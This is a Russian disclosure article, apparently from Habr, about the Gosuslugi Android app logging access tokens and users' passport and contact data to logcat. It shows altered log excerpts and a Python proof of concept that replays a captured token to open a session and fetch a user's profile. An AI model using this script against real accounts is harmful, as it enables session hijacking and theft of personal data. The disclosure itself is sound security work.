Всем доброго времени суток. Все ведь помнят недавний «хайп» вокруг приложения BurgerKing, якобы оно сливает платёжные данные пользователей? Так вот, в этой статье я бы хотел рассказать о гораздо долее масштабном сливе, и не куда-то на 1 сервер а практически всем! За подробностями прошу под кат
С чего всё началось?
А началось всё с баг-репорта по поводу краха мобильного приложения Тинькофф, Я записывал лог падения, чтобы отправить данные разработчикам, а после решил посмотреть логи и других приложений, имеющихся на моём телефоне. Под руку попалось приложение Госуслуги.
Подключаемся через adb к консоли телефона, предварительно включив опцию «Отладка по USB» и запускаем консольную команду logcat.
P.S. Данные указанные в запросах намеренно изменены, все совпадения с реальными людьми чистая случайность.
Далее запускаем приложение Госуслуги и наблюдаем следующую картину:
BaseRequestUri: https://www.gosuslugi.ru/api/cms/v1/disclaimers/mobile Method: POST, RequestUri: '', Version: 1.1, Content: <null>, Headers: 08-17 14:26:23.863 18730 18730 I mono-stdout: { 08-17 14:26:23.863 18730 18730 I mono-stdout: X-MobileSessionId: 9ae8705c-5140-4630-9087-c1f09843e1a6 08-17 14:26:23.863 18730 18730 I mono-stdout: mobVersion: android_3.3.2.135 08-17 14:26:23.863 18730 18730 I mono-stdout: Cache-Control: no-store, no-cache, max-age=0 08-17 14:26:23.863 18730 18730 I mono-stdout: Pragma: max-age=0, no-cache, no-store 08-17 14:26:23.863 18730 18730 I mono-stdout: Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml, application/zip 08-17 14:26:23.863 18730 18730 I mono-stdout: } Content-Type: application/json; charset=utf-8 08-17 14:26:23.863 18730 18730 I mono-stdout: Content-Length: 88 RequestBody: {"mnemonics":[{"mnemonic":"SMU_COMMON"}],"userAgent":"android","appVersion":"3.3.2.135"}
В логе полностью отобразился запрос, отправляемый на сервер. Ну, думаю, бывает, забыли убрать при отладке, с кем не бывает. Смотрим дальше и видим ответ:
Response: 6:29.389 18730 18730 I GuRequestLog: Uri=https://www.gosuslugi.ru/api/cms/v1/disclaimers/mobile Content-Type=application/json0 I GuRequestLog: Status-Code=OK.389 18730 18730 I GuRequestLog: ResponseBody: []89 18730 18730 I GuRequestLog:
Так, а вот это уже странно! Теперь попробуем ввести код доступа в приложение, и тут нас уже ждёт более интересный результат. Сначала видно как происходит отправка запроса на создание сессии:
BaseRequestUri: https://www.gosuslugi.ru/auth-provider/mobile/v2/createSession Method: POST, RequestUri: '', Version: 1.1, Content: <null>, Headers: 08-17 14:28:34.609 18730 18730 I GuRequestLog: { 08-17 14:28:34.609 18730 18730 I GuRequestLog: X-MobileSessionId: 9ae8705c-5140-4630-9087-c1f09843e1a6 08-17 14:28:34.609 18730 18730 I GuRequestLog: mobVersion: android_3.3.2.135 08-17 14:28:34.609 18730 18730 I GuRequestLog: Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml, application/zip 08-17 14:28:34.609 18730 18730 I GuRequestLog: } Content-Type: application/json; charset=utf-8: 08-17 14:28:34.609 18730 18730 I GuRequestLog: Content-Length: 854 08-17 14:28:34.609 18730 18730 I GuRequestLog: RequestBody: {"userId":"84**74555","accessToken":"eyJ2ZXIiOjEsInR5cCI6IkpXVCIsInNidCI6ImFjY2VzcyIsImFsZyI6IlJTMjU2In0.eyJuYmYiOjE1MzQ1MDUwMTcsInNjb3BlIjoiaHR0cDpcL1wvZXNpYS5nb3N1c2x1Z2kucnVcL3Vzcl9pbmY_b2lkPTAwMDAwMDAwMCZtb2RlPXciLCJpc3MiOiJodHRwOlwvXC9lc2lhLmdvc3VzbHVnaS5ydVwvIiwidXJuOmVzaWE6c2lkIjoiMDhlM2M2MDMtMmI1NS0wMDAwLTk0OTMtMDAwMDAwMDAwMDBlIiwidXJuOmVzaWE6c2JqX2lkIjowMDAyMDQwMDAsImV4cCI6MTUzMDUwMDYwMCwiaWF0IjoxNTMwNTA1MDAwLCJjbGllbnRfaWQiOiJQR1UifQ.klq1oftr1t1vaxpagbcdedohu11rm1oplipppwwzyylbcxmfd1jnwgokopdbfak-rxyt1bsdefghrj1lgn1pqrsruvwx1p1bcdeoqwe1k1fyopql1tj1uxzza1cdengqij_l11opzrx_uvwx_za1c11fg111kduqo1frxtu1vxyj-acdebohishh1lopqrstfcwy1zybc1wfnxm1_1m11pq-1s1w-x1za1cdbhvdo_klm-zperqtlovj11ybzref_11wk1mnozqfstwrwxy1auc1e1m1ijhlb-lph1sufvwlyzablcqt1hijkomoo1nrt1mmwxyzfjcde-ghijk","id":"da000000f0002400","name":"_umts","type":"Android"}
Сам запрос отправляется несколько раз, дабы получить более актуальные accessToken и как только токен получен:
Response: 8:35.080 18730 18730 I mono-stdout: Uri=https://www.gosuslugi.ru/auth-provider/mobile/v2/createSession Content-Type=application/json0 I mono-stdout: Status-Code=OK.080 18730 18730 I mono-stdout: ResponseBody: {"sessionId":"e235d56d-63f3-4b48-a9f6-c1c2d86c25d9","accessToken":"eyJ2ZXIiOjEsInR5cCI6IkpXVCIsInNidCI6ImFjY2VzcyIsImFsZyI6IlJTMjU2In0.eyJuYmYiOjIyNDUsInNjb3BlIjoiaHR0cDpcL1wvZXNpYS5nb3N1c2x1Z2kucnVcL3Vzcl9pbmY_b2lkPTAwMDAwMDAwMCZtb2RlPXciLCJpc3MiOiJodHRwOlwvXC9lc2lhLmdvc3VzbHVnaS5ydVwvIiwidXJuOmVzaWE6c2lkIjoiMDhlM2M2MDMtMmI1NS0wMDAwLTk0OTMtMDAwMDAwMDAwMDBlIiwidXJuOmVzaWE6c2JqX2lkIjowMDAyMDQwMDAsImV4cCI6MTUzMDUwMDYwMCwiaWF0IjoxNTMwNTA1MDAwLCJjbGllbnRfaWQiOiJQR1UifQ.klq1oftr1t1vaxpagbcdedohu11rm1oplipppwwzyylbcxmfd1jnwgokopdbfak-rxyt1bsdefghrj1lgn1pqrsruvwx1p1bcdeoqwe1k1fyopql1tj1uxzza1cdengqij_l11opzrx_uvwx_za1c11fg111kduqo1frxtu1vxyj-acdebohishh1lopqrstfcwy1zybc1wfnxm1_1m11pq-1s1w-x1za1cdbhvdo_klm-zperqtlovj11ybzref_11wk1mnozqfstwrwxy1auc1e1m1ijhlb-lph1sufvwlyzablcqt1hijkomoo1nrt1mmwxyzfjcde-ghijk","error":{"errorCode":"0","errorMessage":"operation completed"}}
Происходит запрос данных о текущем пользователе, и снова всё сыпется в логи:
BaseRequestUri: https://esia.gosuslugi.ru/rs/prns/84**74555 Method: GET, RequestUri: '', Version: 1.1, Content: <null>, Headers: 08-17 14:28:35.960 18730 18730 I GuRequestLog: { 08-17 14:28:35.960 18730 18730 I GuRequestLog: X-MobileSessionId: 9ae8705c-5140-4630-9087-c1f09843e1a6 08-17 14:28:35.960 18730 18730 I GuRequestLog: mobVersion: android_3.3.2.135 08-17 14:28:35.960 18730 18730 I GuRequestLog: Cache-Control: no-cache 08-17 14:28:35.960 18730 18730 I GuRequestLog: If-None-Match: * 08-17 14:28:35.960 18730 18730 I GuRequestLog: Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml, application/zip 08-17 14:28:35.960 18730 18730 I GuRequestLog: Authorization: Bearer eyJ2ZXIiOjEsInR5cCI6IkpXVCIsInNidCI6ImFjY2VzcyIsImFsZyI6IlJTMjU2In0.eyJuYmYiOjIyNDUsInNjb3BlIjoiaHR0cDpcL1wvZXNpYS5nb3N1c2x1Z2kucnVcL3Vzcl9pbmY_b2lkPTAwMDAwMDAwMCZtb2RlPXciLCJpc3MiOiJodHRwOlwvXC9lc2lhLmdvc3VzbHVnaS5ydVwvIiwidXJuOmVzaWE6c2lkIjoiMDhlM2M2MDMtMmI1NS0wMDAwLTk0OTMtMDAwMDAwMDAwMDBlIiwidXJuOmVzaWE6c2JqX2lkIjowMDAyMDQwMDAsImV4cCI6MTUzMDUwMDYwMCwiaWF0IjoxNTMwNTA1MDAwLCJjbGllbnRfaWQiOiJQR1UifQ.klq1oftr1t1vaxpagbcdedohu11rm1oplipppwwzyylbcxmfd1jnwgokopdbfak-rxyt1bsdefghrj1lgn1pqrsruvwx1p1bcdeoqwe1k1fyopql1tj1uxzza1cdengqij_l11opzrx_uvwx_za1c11fg111kduqo1frxtu1vxyj-acdebohishh1lopqrstfcwy1zybc1wfnxm1_1m11pq-1s1w-x1za1cdbhvdo_klm-zperqtlovj11ybzref_11wk1mnozqfstwrwxy1auc1e1m1ijhlb-lph1sufvwlyzablcqt1hijkomoo1nrt1mmwxyzfjcde-ghijk 08-17 14:28:35.960 18730 18730 I GuRequestLog: }
Если отмотать лог ещё немного ниже, можно найти там свои персональные данные, в открытом виде, так ещё и доступные абсолютно всем, кто может читать лог операционной системы.
Вот так выглядит ответ, содержащий основную информацию о пользователе:
Response: 8:36.940 18730 18730 I GuRequestLog: Uri=https://esia.gosuslugi.ru/rs/prns/84**74555 Content-Type=application/json0 I GuRequestLog: Status-Code=OK.940 18730 18730 I GuRequestLog: ResponseBody: {"stateFacts":["EntityRoot"],"firstName":"Павел","lastName":"Пупкин","middleName":"Васильевич","birthDate":"10.10.1910","birthPlace":"пос. госуслуги, в России","gender":"M","trusted":true,"citizenship":"RUS","snils":"000-000-000 00","inn":"999999999999","updatedOn":1220627522,"status":"REGISTERED","verifying":false,"rIdDoc":88888888,"regCtxCfmSte":"PCD","chosenCfmTypes":["RA"],"regType":"OPR","containsUpCfmCode":false,"eTag":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
А тут у нас ответ на запрос контактных данных:
Uri=https://esia.gosuslugi.ru/rs/prns/84**74555/ctts Content-Type=application/json0 I GuRequestLog: Status-Code=OK.776 18730 18730 I GuRequestLog: ResponseBody: {"stateFacts":["hasSize"],"size":2,"eTag":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","elements":[{"stateFacts":["Identifiable"],"id":88888888,"type":"EML","vrfStu":"VERIFIED","value":"pupkin_pavel@pochta.ru","eTag":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"},{"stateFacts":["Identifiable"],"id":88888888,"type":"MBT","vrfStu":"VERIFIED","value":"+7(955)5555555","eTag":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}]}
Далее приложение запрашивает с сервера паспортные данные, и благополучно печатает это в лог:
Response: 8:39.520 18730 18730 I GuRequestLog: Uri=https://esia.gosuslugi.ru/rs/prns/84**74555/docs Content-Type=application/json0 I GuRequestLog: Status-Code=OK.520 18730 18730 I GuRequestLog: ResponseBody: {"stateFacts":["hasSize"],"size":1,"eTag":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","elements":[{"stateFacts":["Identifiable"],"id":0000000,"type":"RF_PASSPORT","vrfStu":"VERIFIED","series":"2000","number":"000000","issueDate":"00.00.2000","issueId":"000000","issuedBy":"ОТДЕЛЕНИЕМ УФМС РОССИИ","eTag":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}]}
Ну и так далее. Добавили водительское удостоверение, чтобы получать уведомления о штрафах? Пожалуйста, мы выведем в лог на всеобщее обозрение и эту информацию.
Но самое интересное, что любому приложению, которое у вас запущено на телефоне, достаточно считать только ваш токен, который отправляется при создании сессии, и всё, в любо момент можно повторить указанные ранее запросы и получить всю информацию о вас. И никаких уведомлений, о том, что в ваш личный кабинет был совершён вход, вы не увидите.
Ниже вы можете увидеть PoC, который при нужных параметрах создаёт сессию и возвращает некоторую информацию о пользователе.
#!/usr/bin/python3 import requests import json import sys def createSession(userId, lastToken, rid): url = 'https://www.gosuslugi.ru/auth-provider/mobile/v2/createSession' header = { 'X-MobileSessionId': '9ae8705c-5140-4630-9087-c1f09843e1a6', 'mobVersion': 'android_3.3.2.135', 'Accept': 'application/json, text/json, text/x-json, text/javascript, application/xml, text/xml, application/zip', 'Content-Type': 'application/json; charset=utf-8' } data = { "userId": userId, "accessToken": lastToken, "id": rid, "name": "hts", "type": "Android" } resp = requests.post(url, data=json.dumps(data), headers=header) return resp.json() def getUserInfo(userId, session): if session['error']['errorCode'] != '0': print(session['error']['errorMessage']) return url = 'https://esia.gosuslugi.ru/rs/prns/%s' % userId header = { 'X-MobileSessionId': session['sessionId'], 'mobVersion': 'android_3.3.2.135', 'Cache-Control': 'no-cache', 'If-None-Match': '*', 'Accept': 'application/json, text/json, text/x-json, text/javascript, application/xml, text/xml, application/zip', 'Authorization': 'Bearer %s' % session['accessToken'] } resp = requests.get(url, headers=header) if resp.status_code == 200: print(json.dumps(resp.json(), indent=4)) def main(): uid = sys.argv[1] lastToken = sys.argv[2] rid = sys.argv[3] session = createSession(uid, lastToken, rid) getUserInfo(uid, session) if __name__ == '__main__': main()
Вместо заключения
Повторюсь, в само приложение никто никак не «вторгался» ни реверса, ни распаковки. Всё что нужно сделать, чтобы получить эту информацию — это запустить утилиту logcat. На момент написания статьи в Play Market не было более новой версии. Данный результат был получен на Android 6.0.1. У меня нет навыков создания Android приложений, но на сколько мне известно, получить лог, который доступен всем без исключения не составляет больших проблем. Возможно с доступом к логам могут быть проблемы на более новых версиях операционной системы, но как мне кажется это не повод выводить туда критическую информацию.
И напоследок! Уж сколько раз твердили миру, чтобы не путали Debug с Release.
ссылка на оригинал статьи https://habr.com/post/420483/
Добавить комментарий